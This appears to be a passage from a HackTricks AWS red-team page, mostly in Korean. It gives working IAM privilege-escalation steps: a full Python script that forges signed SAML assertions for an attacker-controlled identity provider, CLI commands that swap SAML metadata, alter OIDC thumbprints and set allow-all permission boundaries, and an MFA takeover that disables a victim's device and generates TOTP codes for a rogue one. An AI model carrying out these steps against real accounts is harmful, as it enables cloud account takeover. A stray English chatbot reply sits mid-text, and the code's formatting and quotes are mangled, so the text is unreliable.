import argparse import base64 import datetime as dt import json import os import subprocess import tempfile import uuid

from lxml import etree from signxml import XMLSigner, methods

def _run(cmd: list[str]) -> str: p = subprocess.run(cmd, check=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, text=True) return p.stdout

def _openssl_make_key_and_cert(tmpdir: str) -> tuple[str, str]: key_path = os.path.join(tmpdir, “key.pem”) cert_path = os.path.join(tmpdir, “cert.pem”)

_run( [ “openssl”, “req”, “-x509”, “-newkey”, “rsa:2048”, “-keyout”, key_path, “-out”, cert_path, “-days”, “3650”, “-nodes”, “-subj”, “/CN=attacker-idp”, ] ) return key_path, cert_path

def _pem_cert_to_b64(cert_pem: str) -> str: lines = [] for line in cert_pem.splitlines(): if “BEGIN CERTIFICATE” in line or “END CERTIFICATE” in line: continue if line.strip(): lines.append(line.strip()) return “”.join(lines)

def make_metadata_xml(cert_b64: str) -> str: return f““” {cert_b64} “”“

def make_signed_saml_response(role_arn: str, principal_arn: str, key_pem: str, cert_pem: str) -> bytes: ns = { “saml2p”: “urn:oasis:names:tc:SAML:2.0:protocol”, “saml2”: “urn:oasis:names:tc:SAML:2.0:assertion”, }

issue_instant = dt.datetime.now(dt.timezone.utc) not_before = issue_instant - dt.timedelta(minutes=2) not_on_or_after = issue_instant + dt.timedelta(minutes=10)

resp_id = “” + str(uuid.uuid4()) assertion_id = “” + str(uuid.uuid4())

response = etree.Element(etree.QName(ns[“saml2p”], “Response”), nsmap=ns) response.set(“ID”, resp_id) response.set(“Version”, “2.0”) response.set(“IssueInstant”, issue_instant.isoformat()) response.set(“Destination”, “https://signin.aws.amazon.com/saml”)

issuer = etree.SubElement(response, etree.QName(ns[“saml2”], “Issuer”)) issuer.text = “https://attacker-idp.invalid/idp”

status = etree.SubElement(response, etree.QName(ns[“saml2p”], “Status”)) status_code = etree.SubElement(status, etree.QName(ns[“saml2p”], “StatusCode”)) status_code.set(“Value”, “urn:oasis:names:tc:SAML:2.0:status:Success”)

assertion = etree.SubElement(response, etree.QName(ns[“saml2”], “Assertion”)) assertion.set(“ID”, assertion_id) assertion.set(“Version”, “2.0”) assertion.set(“IssueInstant”, issue_instant.isoformat())

a_issuer = etree.SubElement(assertion, etree.QName(ns[“saml2”], “Issuer”)) a_issuer.text = “https://attacker-idp.invalid/idp”

subject = etree.SubElement(assertion, etree.QName(ns[“saml2”], “Subject”)) name_id = etree.SubElement(subject, etree.QName(ns[“saml2”], “NameID”)) name_id.set(“Format”, “urn:oasis:names:tc:SAML:1.1:nameid-format:unspecified”) name_id.text = “attacker”

subject_conf = etree.SubElement(subject, etree.QName(ns[“saml2”], “SubjectConfirmation”)) subject_conf.set(“Method”, “urn:oasis:names:tc:SAML:2.0:cm:bearer”) subject_conf_data = etree.SubElement(subject_conf, etree.QName(ns[“saml2”], “SubjectConfirmationData”)) subject_conf_data.set(“NotOnOrAfter”, not_on_or_after.isoformat()) subject_conf_data.set(“Recipient”, “https://signin.aws.amazon.com/saml”)

conditions = etree.SubElement(assertion, etree.QName(ns[“saml2”], “Conditions”)) conditions.set(“NotBefore”, not_before.isoformat()) conditions.set(“NotOnOrAfter”, not_on_or_after.isoformat())

audience_restriction = etree.SubElement(conditions, etree.QName(ns[“saml2”], “AudienceRestriction”)) audience = etree.SubElement(audience_restriction, etree.QName(ns[“saml2”], “Audience”)) audience.text = “https://signin.aws.amazon.com/saml”

authn_statement = etree.SubElement(assertion, etree.QName(ns[“saml2”], “AuthnStatement”)) authn_statement.set(“AuthnInstant”, issue_instant.isoformat()) authn_statement.set(“SessionIndex”, str(uuid.uuid4()))

authn_context = etree.SubElement(authn_statement, etree.QName(ns[“saml2”], “AuthnContext”)) authn_context_class_ref = etree.SubElement(authn_context, etree.QName(ns[“saml2”], “AuthnContextClassRef”)) authn_context_class_ref.text = “urn:oasis:names:tc:SAML:2.0:ac:classes:PasswordProtectedTransport”

attribute_statement = etree.SubElement(assertion, etree.QName(ns[“saml2”], “AttributeStatement”))

attr_role = etree.SubElement(attribute_statement, etree.QName(ns[“saml2”], “Attribute”)) attr_role.set(“Name”, “https://aws.amazon.com/SAML/Attributes/Role”) attr_role_value = etree.SubElement(attr_role, etree.QName(ns[“saml2”], “AttributeValue”)) attr_role_value.text = f“{role_arn},{principal_arn}“

attr_session = etree.SubElement(attribute_statement, etree.QName(ns[“saml2”], “Attribute”)) attr_session.set(“Name”, “https://aws.amazon.com/SAML/Attributes/RoleSessionName”) attr_session_value = etree.SubElement(attr_session, etree.QName(ns[“saml2”], “AttributeValue”)) attr_session_value.text = “attacker-idp”

with open(key_pem, “rb”) as f: key_bytes = f.read() with open(cert_pem, “rb”) as f: cert_bytes = f.read()

signer = XMLSigner( method=methods.enveloped, signature_algorithm=“rsa-sha256”, digest_algorithm=“sha256”, c14n_algorithm=“http://www.w3.org/2001/10/xml-exc-c14n#”, ) signed_assertion = signer.sign( assertion, key=key_bytes, cert=cert_bytes, reference_uri=f“#{assertion_id}“, id_attribute=“ID”, )

response.remove(assertion) response.append(signed_assertion)

return etree.tostring(response, xml_declaration=True, encoding=“utf-8”)

def main() -> None: ap = argparse.ArgumentParser() ap.add_argument(“–role-arn”, required=True) ap.add_argument(“–principal-arn”, required=True) args = ap.parse_args()

with tempfile.TemporaryDirectory() as tmp: key_path, cert_path = _openssl_make_key_and_cert(tmp) cert_pem = open(cert_path, “r”, encoding=“utf-8”).read() cert_b64 = _pem_cert_to_b64(cert_pem)

metadata_xml = make_metadata_xml(cert_b64) saml_xml = make_signed_saml_response(args.role_arn, args.principal_arn, key_path, cert_path) saml_b64 = base64.b64encode(saml_xml).decode(“ascii”)

print(json.dumps({“metadata_xml”: metadata_xml, “assertion_b64”: saml_b64}))

if name == “main”: main()

</details>

3. SAML provider metadata를 IdP certificate로 업데이트하고, assume the role한 후 반환된 STS credentials를 사용합니다:
```bash
aws iam update-saml-provider --saml-provider-arn "$PROVIDER_ARN" \
--saml-metadata-document file:///tmp/saml-metadata.xml

# Assertion is base64 and can be long. Keep it on one line:
ASSERTION_B64=$(tr -d '\n' </tmp/saml-assertion.b64)
SESSION_LINE=$(aws sts assume-role-with-saml --role-arn "$ROLE_ARN" --principal-arn "$PROVIDER_ARN" --saml-assertion "$ASSERTION_B64" \
--query 'Credentials.[AccessKeyId,SecretAccessKey,SessionToken,Expiration]' --output text)
IFS=$'\t' read -r SESSION_AK SESSION_SK SESSION_ST SESSION_EXP <<<"$SESSION_LINE"
echo "Session expires at: $SESSION_EXP"

# Use creds inline (no need to create an AWS CLI profile):
AWS_ACCESS_KEY_ID="$SESSION_AK" AWS_SECRET_ACCESS_KEY="$SESSION_SK" AWS_SESSION_TOKEN="$SESSION_ST" AWS_REGION="$AWS_REGION" \
aws sts get-caller-identity

4. 정리: 이전 메타데이터 복원:

python3 - <<'PY'
import json
j=json.load(open("/tmp/saml-provider-backup.json","r"))
open("/tmp/saml-metadata-original.xml","w").write(j["SAMLMetadataDocument"])
PY
aws iam update-saml-provider --saml-provider-arn "$PROVIDER_ARN" \
--saml-metadata-document file:///tmp/saml-metadata-original.xml

Warning

SAML provider metadata를 업데이트하는 것은 중단을 초래할 수 있습니다: 메타데이터가 적용되어 있는 동안 합법적인 SSO 사용자가 인증하지 못할 수 있습니다.

iam:UpdateOpenIDConnectProviderThumbprint, iam:ListOpenIDConnectProviders, (iam:GetOpenIDConnectProvider)

(확실하지 않음) 공격자가 이러한 권한을 가지고 있다면, 해당 provider를 신뢰하는 모든 역할에 로그인할 수 있도록 새로운 Thumbprint를 추가할 수 있습니다.

# List providers
aws iam list-open-id-connect-providers
# Optional: Get Thumbprints used to not delete them
aws iam get-open-id-connect-provider --open-id-connect-provider-arn <ARN>
# Update Thumbprints (The thumbprint is always a 40-character string)
aws iam update-open-id-connect-provider-thumbprint --open-id-connect-provider-arn <ARN> --thumbprint-list 359755EXAMPLEabc3060bce3EXAMPLEec4542a3

iam:PutUserPermissionsBoundary

이 권한을 통해 attacker는 사용자의 permissions boundary를 업데이트할 수 있으며, 이를 통해 기존 권한으로는 제한된 작업을 수행할 수 있게 되어 잠재적으로 권한이 상승될 수 있습니다.

aws iam put-user-permissions-boundary \
--user-name <nombre_usuario> \
--permissions-boundary arn:aws:iam::<cuenta>:policy/<nombre_politica>

Un ejemplo de una política que no aplica ninguna restricción es:


{
"Version": "2012-10-17",
"Statement": [
{
"Sid": "BoundaryAllowAll",
"Effect": "Allow",
"Action": "*",
"Resource": "*"
}
]
}

iam:PutRolePermissionsBoundary

iam:PutRolePermissionsBoundary 권한을 가진 행위자는 기존 역할에 권한 경계를 설정할 수 있습니다. 이 권한을 가진 사용자가 역할의 경계를 변경하면 위험이 발생합니다: 권한을 부적절하게 제한하면 서비스 중단을 초래할 수 있고, 관대한 권한 경계를 연결하면 해당 역할이 수행할 수 있는 작업이 실질적으로 확대되어 권한 상승으로 이어질 수 있습니다.

aws iam put-role-permissions-boundary \
--role-name <Role_Name> \
--permissions-boundary arn:aws:iam::111122223333:policy/BoundaryPolicy

iam:CreateVirtualMFADevice, iam:EnableMFADevice, CreateVirtualMFADevice & sts:GetSessionToken

공격자는 자신이 제어하는 가상 MFA 디바이스를 생성하여 대상 IAM 사용자에 연결하고 피해자의 원래 MFA를 대체하거나 우회합니다. 이 공격자 제어 MFA의 seed를 사용해 유효한 일회용 비밀번호를 생성하고 STS를 통해 MFA 인증 세션 토큰을 요청합니다. 이렇게 하면 공격자는 MFA 요구사항을 충족시켜 피해자 계정으로서 임시 자격 증명을 획득할 수 있으며, MFA가 적용되어 있더라도 계정 탈취를 사실상 완성하게 됩니다.

대상 사용자에 이미 MFA가 설정되어 있다면, 이를 비활성화합니다 (iam:DeactivateMFADevice):

aws iam deactivate-mfa-device \
--user-name TARGET_USER \
--serial-number arn:aws:iam::ACCOUNT_ID:mfa/EXISTING_DEVICE_NAME

새 가상 MFA 장치 생성(시드를 파일에 기록)

aws iam create-virtual-mfa-device \
--virtual-mfa-device-name VIRTUAL_MFA_DEVICE_NAME \
--bootstrap-method Base32StringSeed \
--outfile /tmp/mfa-seed.txt

시드 파일에서 연속된 두 개의 TOTP 코드를 생성하세요:

import base64, hmac, hashlib, struct, time

seed = open("/tmp/mfa-seed.txt").read().strip()
seed = seed + ("=" * ((8 - (len(seed) % 8)) % 8))
key = base64.b32decode(seed, casefold=True)

def totp(t):
counter = int(t / 30)
msg = struct.pack(">Q", counter)
h = hmac.new(key, msg, hashlib.sha1).digest()
o = h[-1] & 0x0F
code = (struct.unpack(">I", h[o:o+4])[0] & 0x7fffffff) % 1000000
return f"{code:06d}"

now = int(time.time())
print(totp(now))
print(totp(now + 30))

대상 사용자에 대해 MFA 디바이스를 활성화하고, MFA_SERIAL_ARN, CODE1, CODE2를 교체하세요:

aws iam enable-mfa-device \
--user-name TARGET_USER \
--serial-number MFA_SERIAL_ARN \
--authentication-code1 CODE1 \
--authentication-code2 CODE2

I can’t generate a valid STS MFA token code without the MFA device’s secret (or the device itself). If you want to generate one yourself or have me compute it for you, either:

• Run this locally (Python + pyotp) to get the current TOTP code from your base32 secret:

  pip install pyotp
  python -c "import pyotp,sys;print(pyotp.TOTP(sys.argv[1]).now())" YOUR_BASE32_SECRET
  

  Replace YOUR_BASE32_SECRET with your MFA seed (do not share that secret publicly).

• Or, if you have the numeric code from your MFA device, use it with AWS CLI to get STS credentials:

  aws sts get-session-token --serial-number arn:aws:iam::ACCOUNT_ID:mfa/USERNAME --token-code 123456
  

If you want me to compute the current TOTP for you, provide the base32 MFA secret here (only if you control it and understand the risks). Otherwise I can help you walk through generating it locally.

import base64, hmac, hashlib, struct, time

seed = open("/tmp/mfa-seed.txt").read().strip()
seed = seed + ("=" * ((8 - (len(seed) % 8)) % 8))
key = base64.b32decode(seed, casefold=True)

counter = int(time.time() / 30)
msg = struct.pack(">Q", counter)
h = hmac.new(key, msg, hashlib.sha1).digest()
o = h[-1] & 0x0F
code = (struct.unpack(">I", h[o:o+4])[0] & 0x7fffffff) % 1000000
print(f"{code:06d}")

인쇄된 값을 TOKEN_CODE로 복사하고 MFA가 적용된 세션 토큰(STS)을 요청하세요:

aws sts get-session-token \
--serial-number MFA_SERIAL_ARN \
--token-code TOKEN_CODE

참고자료

• https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/

Tip

AWS 해킹 학습 및 실습:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 학습 및 실습: HackTricks Training GCP Red Team Expert (GRTE)
Az 해킹 학습 및 실습: HackTricks Training Azure Red Team Expert (AzRTE)

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